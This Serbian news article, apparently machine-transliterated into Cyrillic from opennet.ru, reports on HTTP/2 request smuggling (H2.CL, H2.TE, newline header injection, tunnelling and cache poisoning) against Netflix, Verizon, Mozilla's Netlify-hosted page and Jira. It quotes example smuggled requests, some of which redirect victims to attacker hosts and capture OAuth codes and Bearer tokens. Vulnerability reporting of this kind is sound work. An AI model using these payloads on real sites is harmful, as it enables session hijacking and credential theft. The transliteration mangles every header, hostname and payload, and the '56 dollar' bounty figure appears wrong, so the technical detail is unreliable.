Нови напад на фронт-енд-бацкенд системе који вам омогућава да се увучете у захтеве

Веб системи у којима фронтенд прихвата везе преко ХТТП/2 и преноси на позадину преко ХТТП/1.1 изложени су новој варијанти ХТТП Рекуест Смугглинг напада, који омогућава да се слањем посебно дизајнираних захтева клијената увуче у садржај захтева од других корисника обрађених у истом току између фронтенда и бацкенд-а. Напад се може користити за уметање злонамерног ЈаваСцрипт кода у сесију са легитимним сајтом, заобилажење система контроле приступа и пресретање параметара аутентификације.

Проблем утиче на веб проксије, балансере оптерећења, веб акцелераторе, системе за испоруку садржаја и друге конфигурације у којима се захтеви преусмеравају према фронт-енд-бацкенд шеми. Аутор студије је показао способност напада на системе на Нетфлик-у, Веризон-у, Битбуцкет-у, Нетлифи ЦДН-у и Атлассиан-у и добио је 56 долара у програмима за награђивање рањивости. Проблем је такође потврђен у Ф5 Нетворкс производима. Делимично проблем утиче на мод_проки на Апацхе хттп серверу (ЦВЕ-2021-33193), исправка се очекује у верзији 2.4.49 (програмери су обавештени о проблему почетком маја и добили су 3 месеца да га поправе). У нгинк-у, могућност да се истовремено наведу заглавља „Цонтент-Ленгтх“ и „Трансфер-Енцодинг“ је блокирана у последњем издању (1.21.1). Алати за напад су већ додати Бурп комплету алата и доступни су као Турбо Интрудер екстензија.

Принцип рада новог метода увлачења захтева у саобраћај сличан је рањивости коју је идентификовао исти истраживач пре две године, али ограничен на фронтендове који прихватају захтеве преко ХТТП/1.1. Подсетимо се да у фронтенд-бацкенд шеми клијентске захтеве прима додатни чвор - фронтенд, који успоставља дуготрајну ТЦП везу са позадином која директно обрађује захтеве. Преко ове заједничке везе обично се преносе захтеви различитих корисника, који прате ланац један за другим, раздвојени помоћу ХТТП протокола.

Класични напад „кријумчарење ХТТП захтева“ заснивао се на чињеници да фронтенди и позадинска дела тумаче употребу ХТТП заглавља „Цонтент-Ленгтх“ (одређује укупну величину података у захтеву) и „Трансфер-Енцодинг: цхункед“ ( омогућава пренос података у деловима) различито . На пример, ако фронтенд подржава само „Цонтент-Ленгтх“, али игнорише „Трансфер-Енцодинг: цхункед“, онда нападач може послати захтев који садржи заглавља „Цонтент-Ленгтх“ и „Трансфер-Енцодинг: цхункед“, али величина "Цонтент-Ленгтх" не одговара величини подељеног ланца. У овом случају, фронтенд ће обрадити и преусмерити захтев у складу са „Цонтент-Ленгтх“, а бацкенд ће чекати да се блок заврши на основу „Трансфер-Енцодинг: цхункед“ и преостали реп нападачевог захтева ће бити на почетку страног захтева пренетог следеће.

За разлику од текстуалног протокола ХТТП/1.1, који се анализира на нивоу линије, ХТТП/2 је бинарни протокол и манипулише блоковима података унапред одређене величине. Међутим, ХТТП/2 користи псеудо-заглавља која одговарају уобичајеним ХТТП заглављима. Када је у интеракцији са позадином преко ХТТП/1.1, фронтенд преводи ова псеудо-заглавља у слична ХТТП/1.1 ХТТП заглавља. Проблем је у томе што бацкенд доноси одлуке о рашчлањивању тока на основу ХТТП заглавља које поставља фронтенд, не знајући параметре оригиналног захтева.

Укључујући у облику псеудо-заглавља, вредности "дужина садржаја" и "трансфер-енцодинг" могу се пренети, упркос чињеници да се не користе у ХТТП / 2, пошто је величина свих података одређена у посебно поље. Међутим, у процесу конверзије ХТТП/2 захтева у ХТТП/1.1, ова заглавља се преносе и могу збунити позадину. Постоје две главне опције напада: Х2.ТЕ и Х2.ЦЛ, у којима је позадинска страна заведена нетачним кодирањем преноса или вредности дужине садржаја која не одговара стварној величини тела захтева које је фронтенд примио преко ХТТП / 2 протокол.

Нови напад на фронт-енд-бацкенд системе који вам омогућава да се увучете у захтеве

Као пример Х2.ЦЛ напада, псеудо-заглавље дужине садржаја је погрешно обликовано када се шаље ХТТП/2 захтев Нетфлик-у. Овај захтев резултира додавањем сличног ХТТП заглавља Цонтент-Ленгтх када се приступа позадинском делу преко ХТТП/1.1, али пошто је величина у Цонтент-Ленгтх мања од стварне величине, неки од података у репу се обрађују као почетак следећег захтева.

На пример, ХТТП/2 захтев :метход ПОСТ :патх /н :аутхорити ввв.нетфлик.цом цонтент-ленгтх 4 абцдГЕТ /н ХТТП/1.1 Хост: 02.рс?к.нетфлик.цом Фоо: бар

Послаће захтев бацкенду: ПОСТ /н ХТТП/1.1 Хост: ввв.нетфлик.цом Цонтент-Ленгтх: 4 абцдГЕТ /н ХТТП/1.1 Хост: 02.рс?к.нетфлик.цом Фоо: бар

Пошто је Цонтент-Ленгтх подешено на 4, позадина ће прихватити само „абцд“ као тело захтева и обрадити остатак „ГЕТ /н ХТТП/1.1…“ као почетак следећег захтева који је везан за другог корисника. Сходно томе, ток ће бити несинхронизован, а као одговор на следећи захтев биће враћен резултат обраде лажног захтева. У случају Нетфлик-а, навођење хоста треће стране у заглављу „Хост:“ у лажном захтеву резултирало је одговором „Локација: хттпс://02.рс?к.нетфлик.цом/н“ клијенту и дозволио да се произвољни садржај прослеђује клијенту, укључујући извршавање вашег ЈаваСцрипт кода у контексту Нетфлик сајта.

Друга варијанта напада (Х2.ТЕ) повезана је са заменом заглавља "Трансфер-Енцодинг: цхункед". Употреба псеудо-заглавља за кодирање трансфера у ХТТП/2 је забрањена спецификацијом, а захтеви са њим прописани су да се третирају као нетачни. Упркос томе, неке имплементације фронтенда занемарују овај захтев и дозвољавају употребу псеудо-заглавља за кодирање преноса у ХТТП/2, што се преводи у слично ХТТП заглавље. Ако је заглавље „Трансфер-Енцодинг“ присутно, позадински део може да га узме као виши приоритет и анализира податке у деловима у „комадованом“ режиму користећи блокове различитих величина у формату „{сизе}\р\н{блоцк }\р\н{сизе} \р\н{блоцк}\р\н0" упркос почетној подели по укупној величини.

Присуство таквог јаза је демонстрирано на примеру Веризона. Међутим, проблем се тицао портала за аутентификацију и система за управљање садржајем, који користе и сајтови као што су Хуффингтон Пост и Енгадгет. На пример, захтев клијента преко ХТТП/2: :метход ПОСТ :патх /идентитфи/КСУИ :аутхорити ид.б2б.оатх.цом трансфер-енцодинг цхункед 0 ГЕТ /оопс ХТТП/1.1 Хост: псрес.нет Цонтент-Ленгтх: 10 к=

Изазван ХТТП/1.1 захтев за бацкенд: ПОСТ /идентити/КСУИ ХТТП/1.1 Хост: ид.б2б.оатх.цом Цонтент-Ленгтх: 66 Трансфер-Енцодинг: цхункед 0 ГЕТ /оопс ХТТП/1.1 Хост: псрес.нет Цонтент- Ленгтх : 10к=

Бацкенд је, заузврат, игнорисао заглавље „Цонтент-Ленгтх“ и извршио цепање у стриму на основу „Трансфер-Енцодинг: цхункед“. У пракси, напад је омогућио преусмеравање корисничких захтева на ваш сајт, укључујући пресретање захтева који се односе на ОАутх аутентификацију, чији су се параметри појавили у заглављу Реферер, као и симулацију сесије аутентификације и иницирање слања акредитива од стране корисника. система на нападачев домаћин. ГЕТ /б2бландинг/схов/оопс ХТТП/1.1 Хост: псрес.нет Референт: хттпс://ид.б2б.оатх.цом/?…&цоде=сецрет ГЕТ / ХТТП/1.1 Хост: псрес.нет Ауторизација: Носилац еиЈхцГвиОиЈИУзИ1Ги1сИк…ц

Да би се напале имплементације ХТТП/2 које не дозвољавају навођење псеудо-заглавља за кодирање преноса, предложен је други метод који подразумева замену заглавља „Трансфер-Енцодинг“ тако што ће се прикачити другим псеудо-заглављима одвојеним знаком за нови ред (када се конвертује на ХТТП/1.1 у овом случају се креирају два одвојена ХТТП заглавља).

На пример, Атлассиан Јира и Нетлифи ЦДН (који се користе за опслуживање Мозилла почетне странице у Фирефок-у) су били погођени овим проблемом. Конкретно, ХТТП/2 захтев :метход ПОСТ :пут / :аутхорити старт.мозилла.орг фоо б\р\н трансфер-енцодинг: цхункед 0\р\н \р\н ГЕТ / ХТТП/1.1\р\н Хост : евил-нетлифи-домаин\р\н Дужина садржаја: 5\р\н \р\нк=

изазвао је да ХТТП/1.1 ПОСТ / ХТТП/1.1 захтев буде послат на позадину\р\н Хост: старт.мозилла.орг\р\н Фоо: б\р\н Трансфер-Енцодинг: цхункед\р\н Цонтент- Дужина: 71\ р\н \р\н 0\р\н \р\н ГЕТ / ХТТП/1.1\р\н Хост: евил-нетлифи-домаин\р\н Дужина садржаја: 5\р\н \ р\нк=

Друга опција за замену заглавља "Трансфер-Енцодинг" била је да се прикачи имену другог псеудо-заглавља или стрингу са методом захтева. На пример, када се приступа Атлассиан Јира, име псеудо-заглавља „фоо: бар\р\нтрансфер-енцодинг“ са вредношћу „цхункед“ резултирало је додавањем ХТТП заглавља „фоо: бар“ и „трансфер-енцодинг : цхункед", и навођење у псеудо-заглављу ":метход" вредности "ГЕТ / ХТТП/1.1\р\нКодирање за пренос: цхункед" је преведено у "ГЕТ / ХТТП/1.1\р\нтрансфер-енцодинг: цхункед" .

Истраживач који је идентификовао проблем такође је предложио технику тунелирања захтева за напад на фронтендове, у којој се за сваку ИП адресу успоставља посебна веза са позадином и саобраћај различитих корисника није мешан. Предложена техника вам не дозвољава да интервенишете у захтевима других корисника, али омогућава тровање дељене кеш меморије, што утиче на обраду других захтева и омогућава вам да извршите замену интерних ХТТП заглавља који се користе за пренос информација о услугама са фронтенд на позадину (на пример, када се аутентикација на фронтенд страни у таквим заглављима може послати информације о тренутном кориснику на позадину). Као пример примене методе у пракси, коришћењем тровања кеша, било је могуће добити контролу над страницама у сервису Битбуцкет.

Извор: опеннет.ру

Додај коментар